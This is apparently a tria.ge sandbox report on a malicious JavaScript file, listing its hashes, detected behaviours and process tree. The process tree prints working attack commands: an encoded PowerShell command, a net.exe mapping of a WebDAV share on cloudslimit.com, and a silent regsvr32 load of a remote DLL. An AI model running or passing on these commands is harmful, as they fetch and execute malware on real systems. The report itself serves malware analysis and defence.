Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
139s -
max time network
110s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
21/08/2024, 15:17
Static task
static1
Behavioral task
behavioral1
Sample
2a29e36194a4a1374f143aee2c97a4c710ee6fd28bdcad0398f2373bf0a55fd0.js
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
2a29e36194a4a1374f143aee2c97a4c710ee6fd28bdcad0398f2373bf0a55fd0.js
Resource
win10v2004-20240802-en
General
-
Target
2a29e36194a4a1374f143aee2c97a4c710ee6fd28bdcad0398f2373bf0a55fd0.js
-
Size
14KB
-
MD5
76b1c0c1f2ae1fe9dc55aa7f181ab628
-
SHA1
bf32a35f1d9d971cb1ed7e977b1cf8e177ee8479
-
SHA256
2a29e36194a4a1374f143aee2c97a4c710ee6fd28bdcad0398f2373bf0a55fd0
-
SHA512
d8f4723b2a154ff844556a0a09073380ec4b2f34b4ad6a39e558c781f8c0e4354168cddb770127992bf6a8835dcc4d92bfe07e462071c5cd5df0dff8b57aa3a2
-
SSDEEP
96:2qZILNtuhAjOSCG+I9PZL702KMCzK/pGPiKEKU1SbFAPFFZAPKzMlTYvYWw:tZUPOSJ+0ZL7tmpmoblr
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation wscript.exe -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4428 powershell.exe 4428 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4428 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4756 wrote to memory of 4428 4756 wscript.exe 84 PID 4756 wrote to memory of 4428 4756 wscript.exe 84 PID 4428 wrote to memory of 1812 4428 powershell.exe 86 PID 4428 wrote to memory of 1812 4428 powershell.exe 86 PID 4428 wrote to memory of 3196 4428 powershell.exe 87 PID 4428 wrote to memory of 3196 4428 powershell.exe 87
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\2a29e36194a4a1374f143aee2c97a4c710ee6fd28bdcad0398f2373bf0a55fd0.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4756 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADIAMwA3ADUAMgA3ADUAMgAxADIAMQA3ADIANgAuAGQAbABsAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4428 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\3⤵PID:1812
-
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\123752752121726.dll3⤵PID:3196
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82